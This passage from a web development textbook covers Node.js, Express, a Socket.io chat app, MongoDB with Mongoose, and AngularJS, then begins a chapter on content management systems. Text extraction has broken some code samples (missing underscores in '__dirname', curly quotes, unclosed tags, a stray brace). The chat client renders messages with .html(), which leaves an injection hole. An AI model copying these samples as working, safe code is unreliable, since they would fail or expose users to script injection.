module-specific code to wrap the functions within an object. The Node.js
core includes several important modules that only need the appropriate
require() function call. Most Node.js applications, however, typically
require the installation of additional modules, which requires the use of npm,
the Node Package Manager (see the nearby Tools Insight section for more
information on npm).

The rest of the code consists of a call to createServer(), which is a
JavaScript function defined within the http module. Like many other Node.js
functions, it is passed a callback function that you supply. In this example, it
sends back an HTTP response code with a Content-Type HTTP header, as
well as some text content. The browser will simply display the text content.

Figure 20.7 provides a slightly more complicated example: a static file server.
It responds to an HTTP request for a file by seeing if it exists. If it doesn't,
then it sends the appropriate 404 content back to the requestor. If it does
exist, then it sends the content of the requested file. This is our simple version
of Apache or IIS!





Figure 20.7 Static file server
Figure 20.7 Full Alternative Text

Tools Insight

npm (Node Package Manager)
The Node Package Manager (or npm as it is usually called) is one of the key
tools that is installed with Node.js. It is a command line tool which can be
used even if you are not using the rest of the Node.js environment.

As you might have already deduced, npm is used to install JavaScript
packages. These packages can be installed locally within the node_modules
folder in a web application's main folder. Or they can be installed globally on
your machine. This can be useful when using npm to install packages that are
actually applications that you execute from your command line. The popular
Bower and Grunt build tools are examples of packages that you install
globally.

To install an npm package locally, you simply use the npm install
command. For instance, the following command installs the popular Express
Node.js framework into the current folder location:

npm install express

What does this command actually do? It creates a folder named
node_modules if it didn't already exist, and then retrieves all the folders and
JavaScript files that are a part of the most recent Express package from the
npmjs.com website, and copies them into your local node_modules folder.
The npmjs.com website contains over 300,000 different private and public
packages and has become, like GitHub, an important part of many web
developers workflow.

http://npmjs.com
http://npmjs.com


One of the key attractions of npm is that you can specify dependencies: that is,
you can specify which packages and which versions of each package are used
in your application. You do this by creating a package.json file, which resides
in the root of your application. You can get npm to create this file for you via
the command:

npm init

At any future point, you can update your project by running the npm update
command. The npm system will check the npmjs.com website looking for
updates to any dependencies, and if there are any, they will be downloaded.

20.2.3 Adding Express to Node.js
Many Node.js developers try to simplify and reduce the amount of coding
they have to write by making use of preexisting modules. One of the most
popular is Express (which is the “E” in the MEAN stack), which is a
relatively small and lightweight JavaScript framework to simplify the
construction of web applications and web services in Node.js.

Hands-on Exercises Lab 20
Exercise
Using Express

To make use of Express in any Node.js application, you have to use npm to
install Express's JavaScript files into your application folder (see Tools
Insight section). Once you have done that, you simply need to add the
appropriate require() invocation, and then you can begin making use of
Express. An (almost) equivalent Express version of the file server in Figure
20.7 can be seen in Listing 20.2.

http://npmjs.com


Listing 20.2 Express version of file
server
var express = require('express'); 

var app = express(); 

var options = { 

    root:    dirname // absolute path variable defined by express 

}; 

app.get('/:filename', function (req, res) { 

  res.sendFile(req.params.filename, options, function (err) { 

    if (err) { 

      console.log(err); 

      res.status(404).send('File Not Found'); 

    } 

    else { 

      console.log('Sent:', req.params.filename); 

    } 

  }); 

}); 

app.listen(7000, function () { 

  console.log('Example express file server listening on port 7000');

});

Extended Example
To better demonstrate Express, we will guide you through the creation of a
Node.js web service. One of the key ideas in Express are routes. Routing
refers to the process of determining how the application will respond to a
request. Remember that any given request specifies an HTTP method (GET,
POST, etc), a URL, request parameters, and perhaps a query string. An
Express application typically contains route definitions and the handlers to
run when that route request is received.

As you can see in the example, the actual web service file is quite short. The
route handling has been moved into another file which is then accessed via a



require() call. This service has just two routes defined: return all books and
return a single book (specified by an ISBN). The book data itself is loaded
from a JSON file on the server. Later we will expand this example by
retrieving the data instead from a database.

Can you extend this example? Try adding a third route (e.g.,
[domain]/api/books/title/writing) that returns books whose title matches a
title pattern.





20.2-1 Full Alternative Text





20.2-1 Full Alternative Text

The web service shown in the extended example is quite straightforward. A
real-world web service would of course be more complicated. For instance, it
might involve some type of authentication, which is typically implemented in
Express using so-called middleware functionality, a topic we do not have the
space to cover.

Hands-on Exercises Lab 20
Exercise
Implementing CRUD Functionality

A real-world web service might also handle requests to insert, update, or
delete data. As you saw back in Chapter 16 on web application design, such
CRUD functionality is a common feature of the typical data access layer. A
web service can also have CRUD functionality. In such a case, it is
conventional to use the other HTTP verbs, as shown in Table 20.1.

Table 20.1 Mapping HTTP
Verbs onto CRUD Actions
HTTP Verb CRUD Action Express Methods
GET Retrieve app.get()

POST Create app.post()

PUT Update app.put()

DELETE Delete app.delete()



20.2.4 Supporting WebSockets with
Node
As mentioned earlier in the chapter, one of the key benefits of the Node.js
environment is its ability to create push-based applications. This ability is in
fact partly reliant on WebSockets, a browser feature supported, at the time of
writing, by all current browsers.

WebSockets is an API that makes it possible to open an interactive (two-way)
communication channel between the browser and a server that doesn't use
HTTP (except to initiate the communication). Its main benefit is that it
provides a way for the server to send or push content to a client without the
client requesting it first. As well, WebSockets allows full-duplex
communication, which means communication can be going from client-to-
server and server-to-client simultaneously.

Hands-on Exercises Lab 20
Exercise
Using WebSockets

There are several WebSocket modules available via npm. In the following
example, we will use Socket.io (http://socket.io/). Our example will consist
of two files:

the Node.js server application (chat-server.js) that will receive and then
push out received messages.

The client file (chat-client.html) that the server application will send out
when a browser makes a request of the server application. The client file
will contain the user interface that sends and receives the chat messages.



Socket.io contains two JavaScript APIs. One that runs on the browser and
one that runs on the server. Listing 20.3 shows the Node.js chat server. The
Socket.io module does all the real WebSocket work for us. The .on()
method handles the reception of messages. You can specify different message
types via the first parameter. In Listing 20.3, the application defines two
types of message: a username message and a chat message. The actual
message names can be anything. We then decide what to do when the
message is received via the callback function. As can be seen in Listing 20.3,
a message is broadcast (or pushed) to all connected clients via the emit()
method. We can send any kind of object via this method. The listing just
sends text, but we could customize our code to send an object with additional
information in it, as shown below:

Listing 20.3 Chat server (chat-
server.js)
var express = require('express'); 

var app = express(); 

var http = require('http').Server(app); 

var io = require('socket.io')(http); 

// because our static HTML file contains references to other 

// static files (e.g., CSS), we must tell Express where to find them

app.use(express.static('public')); 

// every time we receive a get request, send back the chat client 

app.get('/', function(req, res){ 

  res.sendFile(   dirname + '/chat-client.html'); 

}); 

// handles all WebSocket events, each client will be given a 

// unique socket 

io.on('connection', function(socket) { 

  // client has sent a username message (message names can be any

  // valid string) 

   socket.on('username', function(msg) { 

      // save username for this socket 

      socket.username = msg; 

      // broadcast message to all connected clients 

      io.emit('chat message', msg + “ has joined”); 

   }); 

   // client has sent a chat message … broadcast it 



   socket.on('chat message', function(msg) { 

      io.emit('chat message', socket.username + “: ” + msg); 

   });   

}); 

http.listen(7000, function(){ 

  console.log('listening on *:7000'); 

});

io.emit('chat message', { content: msg, 

                          user: socket.username,  

                          icon: “http://www.whatever.com/face.gif”},

                          when: new Date() });

The client (shown in Listing 20.4) is only slightly more complicated. The
HTML is relatively simple. It includes the Socket.io client JavaScript
libraries and includes an area that will display received messages as well as a
<form> for submitting messages.

The WebSocket work is handled by the Socket.io client library. It uses the
emit() method to send messages to the server; like the emit() method on the
server side, you can differentiate different types of messages by supplying
different message names. The on() method is used to handle messages that
have been pushed to the client. Listing 20.4 makes uses of jQuery to help
with the user interface and chat interaction, which is shown in Figure 20.8 .

Listing 20.4 Chat client (chat-
client.html)
<head> 

    … 

    <script src=“/socket.io/socket.io.js”></script> 

</head> 

<body> 

<div class=“panel”> 

    <div class=“panel-header”><h3>Chat</h3></div> 

    <div class=“panel-body”><ul id=“messages”></ul></div> 

    <div class=“panel-footer”> 

       <form action=“”> 

          <input type=“text” id=“entry” autocomplete=“off” />  

          <button>Send</button> 



       </form>         

    </div> 

</div>                               

<script> 

  // this initiates the WebSocket connection 

  var socket = io(); 

  // get user name and then notify the server 

  var username = prompt('What\'s your username?');  

  $('.panel-header h3').html('Chat [' + username + ']');  

  socket.emit('username', username); 

  // user has entered a new message 

  $('form').submit(function() {     

    // send it to the server 

    socket.emit('chat message', $('#entry').val()); 

    // clear text box after submit 

    $('#entry').val(''); 

    // and cancel the submit 

    return false; 

  }); 

  // a new chat message has been received 

  socket.on('chat message', function(msg){ 

    $('#messages').append($('<li>').html(msg)); 

  }); 

</script>    

</body>



Figure 20.8 Chat in the
browser
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20.3 MongoDB
Node.js can work with many different types of database (including MySQL).
Nonetheless, MongoDB is closely associated with Node.js (it is the “M” in
the MEAN stack). While we certainly do not have the space to explore
MongoDB in any detail, we will try to show some of its features and show
why it has become a popular alternative to relational databases within the
web development world.

20.3.1 MongoDB Features
As briefly mentioned back in Chapter 14, MongoDB is an open-source,
noSQL, document-oriented database. Unlike working with a relational
database system, for any given database in MongoDB, there is no schema to
learn or define. Instead, you simply package your data as a JSON object, give
it to MongoDB, and it stores this object or document as a binary JavaScript
object (BSON). This native ability to work with JavaScript is one of
MongoDB strengths and helps partly explain its popularity with web
developers.

Another important reason for MongoDB's popularity is that it was built to
handle very large data sets. How much data do you need to have before you
can say you are working with big data (and thus be interested in a noSQL
option)? That's a hard question to answer, and it should be noted that
traditional relational database systems can also handle huge data sets. The
main problem that relational databases systems have with huge data sets is
that these systems enforce referential integrity through joins and support
transactions. While these are often essential features of a database, when you
are working with hundreds of millions of records, such relational features are
too time intensive and too difficult to scale across multiple machines.

MongoDB does not support transactions, which, as you learned back in
Chapter 14, are an essential feature for data that requires rollback reliability,



such as sales, accounting, and financials systems. But certain categories of
data do not need transactional support. For instance, most commercial sites
maintain records of every request and every click that every user makes on a
site (this is often referred to as clickstream data). Such site analytic data (you
will learn more about analytics in Chapter 24) is often fed into data mining
software systems to improve marketing and sales, to better understand
customers, and to improve other key business processes such as warehousing
and logistic support. On a busy site, this is a staggeringly large amount of
daily data. For such data, we do not need to worry if the odd record is spoiled
or inaccurate because no one is harmed, and the analysis works based on the
size of the data set rather than the individual accuracy of every single one of
its millions of records. For such data, transactional support would slow
everything down, so we do not mind if our database does not support it.

The large datasets that MongoDB can handle are often too large to be stored
on a single computer. The lack of transactional support in MongoDB means
that it can more easily be scaled out horizontally to clusters of commodity
servers (i.e., our system can handle larger loads by running on multiple
relatively inexpensive server machines). The ability to run on multiple
servers is an especially important one, and we recommend you read the near-
by Dive Deeper section.

Dive Deeper

Data Replication and
Synchronization
As you may remember from Chapter 1 (and reiterated several times since
then), real-world websites run in multiserver environments (often referred to
as web farms) located in data centers. This is done for performance reasons (a
single machine doesn't have the capacity to handle more than a few thousand
simultaneous requests) and for redundancy reasons (sites don't want a single
point of failure). The same reasoning applies as well to database servers.



Things get more complicated however with data residing in multiple places.
Figure 20.9 reminds us that in a multiple server environment with load
balancers, an update request and a retrieval request might end up being
processed by different machines. In such an environment, how do you assure
that each request sees the correct data?

Figure 20.9 Problem of
consistency in multiple data
server environments

Figure 20.9 Full Alternative Text

This issue is generally referred to as the problem of data replication and
synchronization3 and the problem becomes more acute once you start
distributing your data across multiple data centers.



This is a large and complex topic. Generally speaking, this problem is solved
in one of two ways. One of these is known as single master replication. In
this approach, all data is “owned” by the master node in that it is the only one
that allows updates; other replicas of the data are read-only and are said to be
subordinates in that they rely on the master pushing out updates to the data
(see Figure 20.10 ). This approach works well for sites in which data changes
are rare relative to retrievals, but the master remains a possible single point of
failure. To help mitigate this risk, it is common to make use of failover
clustering on the master as shown in Figure 20.11 . The backup masters are
kept synchronized in the same way as the subordinate machines in Figure
20.10 ; however, if the master fails, then one of the backups becomes the new
master.

Figure 20.10 Single master
replication

Figure 20.10 Full Alternative Text



Figure 20.11 Failover
clustering on master

Figure 20.11 Full Alternative Text

Another approach to the replication and synchronization problem is to make
use of multiple master replication. In this approach, each replica can act as a
master. When data is changed on one master, it needs to be propagated out to
the other replicas. Since this can take time, it's possible that (temporary) data
inconsistencies may result.



Figure 20.12 Multiple master
replication

Figure 20.12 Full Alternative Text

MongoDB makes use of Single Master Replication, but it also uses a
technique called sharding, which refers to the splitting of a large data set
across multiple replica sets (the MongoDB term for a single master
replication), as shown in Figure 20.13 .



Figure 20.13 Database sharding
Figure 20.13 Full Alternative Text

20.3.2 MongoDB Data Model
MongoDB is a document-based database system, and uses different
terminology and ideas to describe the way it organizes its data. Table 20.2
provides a comparison of its terms in comparison to the typical RDMS.

Table 20.2 Approximate
MongoDB equivalences to
RDMS



RDMS MongoDB
Database Database
Table Collection
Row/Record Document
Column/Field Field
Join Embedded/Nested Document
Key Key

Though Table 20.2 shows equivalences between a MongoDB collection and a
RDMS table, this is only partly the case. Like other noSQL databases (but
unlike a RDMS), collections are schemaless, meaning that the individual
documents within it can contain anything. Looking at Figure 20.14 , you can
see that there can be variance between documents within a collection. Indeed,
this is one of the potential features of a noSQL database: that it can work with
unstructured or variable data.





Figure 20.14 Comparing
relational databases to the
MongoDB data model

Figure 20.14 Full Alternative Text

As can also be seen in Figure 20.14 , a MongoDB document is simply a
JavaScript object literal. Internally, it is stored in a binary format (BSON).
The close connection between JavaScript and MongoDB continues with how
one actually works with data.

Hands-on Exercises Lab 20
Exercise
Running MongoDB Queries

20.3.3 Working with the MongoDB
Shell
Like Node.js, MongoDB is executed at the command line (via the mongod
command) and runs as a daemon process (i.e., once started it stays running
until it is stopped). Once you start this process, you can then run queries.
These queries can be generated, for instance, from a Node.js or PHP
application. You can also run the mongo client program and run queries and
commands via a command-line interface. This can be helpful when you are
testing and learning MongoDB. Figure 20.15 illustrates some sample
MongoDB queries.





Figure 20.15 Running the
MongoDB Shell
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As you can see from Figure 20.15 , the syntax for the MongoDB commands
is the same as JavaScript. We certainly do not have the space here to cover
MongoDB queries and commands in any detail. Figure 20.16 provides a more
in-depth look at a more complex find() method call along with the
MongoDB terms for an equivalent SQL command.

Figure 20.16 Comparing a
MongoDB query to an SQL



query
Figure 20.16 Full Alternative Text

20.3.4 Accessing MongoDB Data in
Node.js
There are a number of API possibilities for accessing MongoDB data within
a Node .js application. The official MongoDB driver for Node.js (https://
mongodb.github.io/node-mongodb-native/) provides a comprehensive set of
methods and properties for accessing a MongoDB database. Like the PDO
API for MySQL and PHP covered in Chapter 14, this driver provides an
object-oriented abstraction that hides the low-level details of interacting with
the database.

Hands-on Exercises Lab 20
Exercise
Running Mongoose

Rather than providing a database API examination similar to what was done
in Chapter 14, we are going to take a different approach here. We are going
to demonstrate the Mongoose ORM (http://mongoosejs.com/) as an alternate
approach to programmatically accessing a database. An ORM (Object-
Relational Mapping) tool or framework is a technique for moving data
between objects in your programming code and some form of persistence
storage (for instance, a database). ORM frameworks exist for many different
languages and environments: Hibernate for Java, Doctrine, and CakePHP for
PHP, ActiveRecord and EntityFramework for ASP.NET are some examples.
Like other frameworks, Mongoose simplifies your data access code by

https://mongodb.github.io/node-mongodb-native/
http://mongoosejs.com/


managing (i.e., hiding) the database access details.

Like with other ORMs, using Mongoose involves defining object schemas.
Because we are going to be accessing MongoDB data this is generally a
straightforward process since the data is stored already as objects within
MongoDB. Mapping a relational database to an object schema is typically a
more complicated process. Listing 20.5 implements the web service covered
earlier in the chapter (in the first extended example on pages 946–948) using
Mongoose and MongoDB.

Listing 20.5 Web service using
MongoDB data and Mongoose
ORM
var express = require('express'); 

var parser = require('body-parser'); 

var fs = require('fs'); 

var app = express(); 

var mongoose = require('mongoose'); 

// Connect to funwebdev database asynchronously. Subsequent database 

// operations will be queued and then executed when the connection

// is complete 

mongoose.connect('mongodb://localhost:27017/funwebdev',

   function (err, res) { 

     if (err) { 

         console.log ('ERROR connecting to funwebdev: ' + err); 

     } else { 

         console.log ('Succeeded connected to funwebdev'); 

     } 

}); 

// define a schema that maps to the structure of the data in MongoDB

var bookSchema = new mongoose.Schema({ 

  id: Number, 

  isbn10: String, 

  isbn13: String, 

  title: String, 

  year: Number, 

  publisher: String, 

  production: { 



      status: String, 

      binding: String, 

      size: String, 

      pages: Number, 

      instock: Date 

  }, 

  category: { 

    main: String, 

    secondary: String 

  } 

}); 

// now create model using this schema to map to books collection in 

// database 

var Book = mongoose.model('books',bookSchema); 

//  handle GET requests for [domain]/api/books 

app.route('/api/books') 

    .get(function (req,resp) { 

        Book.find({}, function(err, data) { 

            if (err) { 

                resp.json({ message: 'Unable to connect to books' });

            } else { 

                resp.json(data); 

            } 

        }); 

    }); 

// handle requests for specific book: e.g., [domain]/api/book/0321886518

app.route('/api/books/:isbn') 

    .get(function (req,resp) {   

         Book.find({isbn10: req.params.isbn}, function(err, data) {

            if (err) { 

                resp.json({ message: 'Book not found' }); 

            } else { 

                resp.json(data); 

            } 

        });     

    }); 

app.listen(7000, function () { 

  console.log('Books web service listening on port 7000'); 

});



20.4 Angular
Angular is a popular browser-based, open-source (though many of its lead
developers are employees of Google) JavaScript MVC framework. It is the
“A” in the MEAN stack, though like everything covered in this chapter, it is
independent of the other components of the stack, and can be used without
any of them.

At the time of writing (summer 2016), Angular 2 is at the release candidate
stage. This new version of Angular has inspired anticipation and trepidation
in equal measures due to the very substantial changes from Angular 1
(hereafter referred to as AngularJS). Initially, Angular 2 required developers
to switch from JavaScript to TypeScript, a JavaScript preprocessor. Angular
2 now allows developers to write in TypeScript, JavaScript, or Dart (another
JavaScript preprocessor used at Google); however, many of the online
examples and tutorials are TypeScript only. Angular 2 uses a new set of
concepts and requires a substantial learning curve, even for experienced
AngularJS developers. At present, the plan is to continue active support and
future development for both AngularJS and Angular 2. They have different
official websites4 and separate GitHub repositories. We have decided to
feature AngularJS in this chapter because it uses regular JavaScript, it has a
large user base of committed developers, and a rich ecosystem of tools,
modules (the AngularJS equivalent of reusable jQuery plugins), online
tutorials, conferences, meetups, and books.

20.4.1 Why AngularJS?
One of the reasons for developers' interest in AngularJS was that it is
especially well suited for creating Single-Page Applications (SPA), which are
web applications that typically consist of only a single page which is updated
dynamically using JavaScript AJAX techniques (see Figure 20.17 ; this
example SPA was created by a student group as part of the authors' upper-
level course using AngularJS and Node.js). SPAs can be quite challenging to



implement as their functionality grows. In a typical PHP web application,
functionality is spread across different pages, thereby explicitly modularizing
the application. Shared functionality can be contained, as we saw in Chapter
17, in shared libraries of functions and classes. But in a JavaScript SPA, all
the possible functionality of the application must be contained within the one
page. This can result in monolithically large JavaScript files filled with a
hodgepodge of confusing callbacks and functions nested within functions
nested within functions etc.





Figure 20.17 An example
student-created Single-Page
Application

Figure 20.17 Full Alternative Text

To help manage the complexity involved in creating and maintaining SPAs,
developers have often made use of some type of MVC framework. As
mentioned in Chapter 17, where we first encountered MVC, the idea behind
the MVC approach is to separate data coding (the model) from the user
interface display (the view) and from the coordination and event handling
functions (the controller). You may remember from that chapter that in the
web context, it is difficult to implement the classic MVC pattern because web
applications often involve processing on both the client and the server.

AngularJS uses something similar to MVC, and is sometimes referred to as
MVVM (Model-View-ViewModel) or MVW (Model-View-Whatever … we
kid you not). As you will see shortly, AngularJS involves not only JavaScript
coding but unusual and innovative changes to the HTML with which you are
familiar. Like Microsoft's ASP.NET, AngularJS is partly declarative,
meaning that some of the AngularJS development work is done via markup
extensions called directives. These directives encapsulate presentation and
behavior and are reusable.

Angular is also unit test friendly. Because of its reliance on dependency
injection (covered in Chapter 17), it simplifies the process of unit testing via
the injection of sample test data into AngularJS's controllers. However, it
should be noted that debugging Angular can be difficult (some might have
used the word “nightmarish” instead).

20.4.2 Creating a Simple AngularJS



Application
Figure 20.18 illustrates a very simple AngularJS application. You might be
surprised to discover that it contains no JavaScript code. It uses directives and
data binding to provide a simple example of how AngularJS can reduce the
amount of code you write.

Hands-on Exercises Lab 20
Exercise
Creating an AngularJS Application

You might wonder how this example works. AngularJS “compiles” your
markup (the official document refers to the process as bootstrapping) as it is
loaded. Recall how the load event in JavaScript (or the ready event in
jQuery) is fired when the page is downloaded and the DOM is ready for
manipulation. AngularJS catches that event, traverses through the entire
DOM tree looking for AngularJS directives and processing any bindings it
finds. So even though Figure 20.18 contains no visible JavaScript, there
certainly is JavaScript processing happening.



Figure 20.18 Simple AngularJS
page

Figure 20.18 Full Alternative Text

Let's extend this example by adding in an AngularJS controller. In
AngularJS, a controller is a JavaScript constructor function which works with



an AngularJS data construct called the scope. This allows you to setup the
model (the data) and define any additional behaviors for the model. Figure
20.19 illustrates an AngularJS controller at work.





Figure 20.19 Adding a
controller

Figure 20.19 Full Alternative Text

While there isn't a whole lot of programming here, there is quite a lot to
digest. The controller is passed a special variable named $scope which is
used to contain the model used by the application. This $scope variable can
contain any type of JavaScript object, and in the example in Figure 20.19 ,
the controller is being used to initialize an array of object literals that will be
available in the property cities. One of the strengths of AngularJS is that
you can define your model using regular JavaScript objects and can assign
them to any property name you'd like. The <input> element with the
directive ng-model=“search” also defines a property in the $scope object
named search, but it is linked to the current value of the <input> element.

Hands-on Exercises Lab 20
Exercise
Adding an AngularJS Controller

This example also makes use of the powerful ng-repeat directive, which in
this case is used to generate multiple <tr> elements, one for each item in the
underlying model array named cities. AngularJS comes with dozens of
directives; many more are available from other third-party sources. This rich
ecosystem of directives is a big reason for AngularJS's popularity and power.

In this example, the ng-repeat directive is modified by the use of filters,
which are used to alter the display of information within a view. Let's take a
look at one last example. Rather than hard code the model as in the previous
figure, this one (shown in Listing 20.6 with the result shown in Figure 20.20 )



will grab the data from a web service and will add a bit of extra functionality
to the table display.

Figure 20.20 Listing 20.6 in the
browser

Figure 20.20 Full Alternative Text

Tools Insight

Build Tools
With the spread of JavaScript frameworks and libraries, it has become



increasingly common to make use of build tools (also called task runner
tools) to help manage repetitive, but essential, code-related tasks. Are you
using other third-party libraries? Build tools can ensure you are using the
most recent version. Do you need to minify your CSS or JavaScript? Build
tools can help. Are you using a CSS or JavaScript preprocessor? Build tools
can perform the necessary compiling and help manage the dependencies
between different JavaScript packages.

Like with frameworks, there are varieties of competing JavaScript-based
build tools. Two of the most popular are Grunt and Gulp. Both are command
line tools. Grunt uses JSON configuration files to define build tasks, while
with Gulp you write JavaScript functions to do these tasks.

Listing 20.6 Consuming a web
service in AngularJS
<html ng-app=“demo”> 

<head> 

<title>Chapter 20</title> 

<link href=“css/styles.css” rel=“stylesheet”> 

<script src=“https://code.angularjs.org/1.5.0/angular.min.js” ></script>

<script> 

var myapp = angular.module('demo',[]); 

// notice that our callback function is passed the $http parameter. 

// parameters are injected by the AngularJS system “behind-the-scenes”

myapp.controller('myController', function ($scope, $http) { 

    // retrieve country data from web service 

    var url = 'http://www.randyconnolly.com/funwebdev/services/travel/

                     countries.php?continent=EU'; 

    $http.get(url) 

        // if successful save retrieved country data in our model 

        .then(function (response) { 

            $scope.countries = response.data; 

    }); 

    // some additional model data variable to handle sorting in table

    $scope.sortField = 'name'; 

    $scope.reverse = false; 

}); 

</script>       

</head>     



<body ng-controller=“myController”> 

    <div id=“search”> 

      Country or Capital Search: 

      <input type=“text” ng-model=“search”  /> 

    </div>                                 

    <table> 

        <tr> 

            <th> 

               <a href=“” ng-click=“sortField='name'; reverse=!reverse”

               Country</a> 

            </th> 

            <th> 

               <a href=“” ng-click=“sortField='population'; reverse= !reverse”

               Population</a> 

            </th> 

            <th> 

               <a href=“” ng-click=“sortField='capital'; reverse= !reverse”

               Capital</a> 

            </th> 

        </tr> 

       <tr  ng-repeat=“country in countries | filter:search |  

                      orderBy:sortField:reverse”> 

           <td>{{country.name }}</td>  

           <td>{{country.population | number}}</td> 

           <td>{{country.capital}}</td> 

       </tr>  

    </table>  

</body>    

</html>

We have only scratched the surface of this massive framework here in this
chapter section. We haven't shown you routing and views, two powerful
features in AngularJS used in the construction of any SPA. We hope this
brief examination of AngularJS will whet your appetite and provide the
motivation for your own subsequent explorations.

Authors' Advice
While AngularJS provides some important benefits to web developers, it
certainly has a significant learning curve. We were only able to provide a
glimpse of AngularJS in this chapter. Ideally we would spend at least two full
chapters on this framework, but this book is already way too long. And at this



point in your progression as a web developer, you are hopefully ready to
continue the learning process on your own. One of the great pleasures of web
development work is that there always seems to be new vistas, that is, new
frameworks, languages, environments, and tools, to explore.



20.5 Chapter Summary
This chapter has provided a quick tour through the broad topic of frameworks
in JavaScript. The focus here was on the constituent components of the
MEAN stack, a web stack in which JavaScript is used at every level. In
Node.js, JavaScript is now being used as a server-side development language.
In MongoDB, JavaScript is being used both as a query language and as a data
storage format. And in AngularJS, we have seen how a complex framework
can simplify common development tasks, but at the cost of an additional
learning curve.

20.5.1 Key Terms
Angular

build tools

clickstream

commodity servers

context switching

DIRT (data-intensive real-time) applications

Ember

failover clustering

full-duplex

MEAN stack

module



multiple master replication

node.js

npm (Node Package Manager)

ORM (Object-Relational Mapping)

push-based web applications

React

routing

sharding

single master replication

Single-Page Applications (SPA)

software framework

task runner tools

WebSockets

20.5.2 Review Questions
1. 1. What is a software framework? What are the benefits and drawbacks

of using a software framework?

2. 2. What is the MEAN stack? How does it fundamentally differ from
other web development stacks such as LAMP or WISA?

3. 3. What are the two key advantages that the Node.js environment
provides?

4. 4. What are WebSockets? How does it differ from HTTP?



5. 5. MongoDb differs from traditional relational database systems in
important ways. Describe these differences and discuss the types of
applications for which MongoDB is well suited, and not well suited.

6. 6. Why is data replication and synchronization an important problem for
web applications? Discuss the two key solutions used for this problem.

7. 7. What is a SPA? What are some of the difficulties involved with a
SPA?

20.5.3 Hands-on Practice



Project 1: Book Rep Customer
Relations Management

Difficulty Level: Intermediate

Overview
Demonstrate your ability to create a Node.js web service. Unlike previous
chapters, these three projects build towards a single final application. We
recommend starting with Project 1, move on to Project 2, and then finally
implement Project 3.

Hands-on Exercises
Project 20.1

Instructions
1. You have been provided with a JSON file named adoptions.json.

Examine this file. It contains the same information as the Adoptions,
Universities, Contacts, AdoptionBooks and Books tables.

2. Using the Extended Example from this chapter as your model, create a
web service with the route [domain]/api/adoptions. This will return a
JSON object containing all the adoptions ideally sorted by adoption
date.

3. Create a web service with the route [domain]/api/adoptions/:id. This will



return a JSON object containing a single adoption whose AdoptionID
matches the passed :id parameter.

4. Add a new route to your service ([domain]/api/adoptions/university/:id)
that returns a JSON object containing multiple adoptions whose
UniversityID matches the passed :id parameter.

Test
1. Create a simple PHP page or JavaScript page that tests each of these

routes. You may need to add the appropriate Access-Control-Allow-
Headers to your web service if the web service is on a different domain
than your test page.



Project 2: Book Rep Customer
Relations Management

Difficulty Level: Intermediate

Overview
Demonstrate your ability to use MongoDB in conjunction with Node.js.

Hands-on Exercises
Project 20.2

Instructions
1. Create a new MongoDB database named adoptions filled with the data

in the adoptions.json file by entering the following command in the
terminal window (you will have to first start the mongod server process
in a separate terminal):

mongoimport -db project2 --collection adoptions --file adoptions.json -jsonArray

2. Try running a few sample queries within the MongoDB shell. For
instance, retrieve the adoption with the AdoptionID = 14. Retrieve all
adoptions whose UniversityID = 100724.

3. Modify your project 1 solution to use Mongoose and MongoDB instead
of the JSON file.



Test
1. Use the same tester page from Project 1.



Project 3: Book Rep Customer
Relations Management

Difficulty Level: Advanced

Overview
Demonstrate your ability to write a simple Angular single-page application
that displays the adoption data provided by your web service created in
Project 1 or 2.

Hands-on Exercises
Project 20.3

Instructions
1. Write a simple Angular page that displays the key Adoption information

(adoption id, adoption date, contact first and last name, university name)
from the web service creates in Project 1 or 2 in an HTML table.

2. Make the adoption id a link. Use any of the previous end-of-chapter
CRM Admin projects as the basis for your layout. Add header labels to
the top of the table that change the sort order of the table.

3. When the adoption id link is clicked, display the detailed information for
the adoption. Because this is a single-page application both of these
steps will happen within the same page.



Test
1. Verify the sort and adoption links work as expected.

20.5.4 References
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4. 4. Angular 1 is at http://angularjs.org while Angular 2 is at http://
angular.io.
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21 Content Management Systems



Chapter Objectives
In this chapter you will learn about …

The challenges of managing a website

Content management systems principles and practices

How to deploy, configure, and manage a WordPress site

How to program new themes, templates, plugins, and widgets for
WordPress

This textbook so far has been devoted to teaching how to construct web
applications with HTML, CSS, JavaScript, and PHP. However, not every
website requires the custom creation of every page. Indeed, one of the most
significant changes in the web development world has been the widespread
adoption of content management systems (CMSs) as a mechanism for
creating and managing websites. CMSs provide easy-to-use tools to publish
and edit content, while managing the structure, layout, and administration of
the site through simple but powerful administrative interfaces. This chapter
provides an overview of CMS concepts, and then dives into WordPress to
illustrate how to install, support, and customize that CMS.



21.1 Managing Websites
Throughout this textbook you have seen the core technologies that support a
rich and interactive web. You can create attractive web pages with HTML
and CSS, make them interactive with client-side scripts, and process dynamic
requests with PHP and databases. The most significant drawback to the sites
you have created so far in this book is that these sites require a software
developer to edit the code in order to make changes in the future.

For a small company, this can be a significant problem, since they may want
to update the website weekly or daily and cannot afford a full-time
programmer on staff. In such an environment, the person managing the
website likely performs other, nondevelopment duties. Depending on the size
of a company the person could be anyone from a receptionist all the way up
to the CEO.

These companies want a system that is

Easy for a nontechnical person to make changes to

Consistent and professional looking across the site

Cost effective

Content management systems, once installed, can indeed be easy, consistent,
professional, and cost effective. However, they still have technical
underpinnings that need to be understood by the people installing and
supporting them.

21.1.1 Components of a Managed
Website
Beyond the requirements of the business owner, a typical website will



eventually need to implement the following categories of functionality:

Media management provides a mechanism for uploading and managing
images, documents, videos, and other assets.

Menu control manages the menus on a site and links menu items to
particular pages.

Search functionality can be built into systems so that users can search
the entire website.

Template management allows the structure of the site to be edited and
then applied to all pages.

User management permits multiple authors to work simultaneously and
attribute changes to the appropriate individual. It can also restrict
permissions.

Version control tracks the changes in the site over time.

Workflow defines the process of approval for publishing content.

WYSIWYG editor allows nontechnical users to create and edit HTML
content and CSS styles without manipulating code.

Even for a sophisticated web developer, the challenge of implementing all
this functionality can be daunting as illustrated in Figure 21.1 . Systems that
can manage all of the pieces reduce the complexity for the site manager and
simplify the management of a site, replacing the web of independent pieces
with a single web-based CMS as illustrated in Figure 21.2 .



Figure 21.1 The challenge of
managing a WWW site without
hosting considerations

Figure 21.1 Full Alternative Text



Figure 21.2 The benefit of a
web content management
system

You might consider using a CMS yourself even though you could address all
the issues, since a CMS manages many of these pieces for you in the majority
of situations, leaving you more time for other things.



21.2 Content Management Systems
Content management system (CMS) is the name given to the category of
software that easily manages websites with support for multiple users. In this
book we focus on web-based content management systems (WCMS), which
go beyond user and document management to implement core website
management principles. We will relax the formal definitions so that when we
say CMS we are referring to a web-based CMS.

Hands-on Exercises Lab 21
Exercise
Set Up WordPress

Pro Tip
Document management systems (DMSs) are a class of software designed to
replace paper documents in an office setting and date back to the 1970s.
These systems typically implement many features users care about for
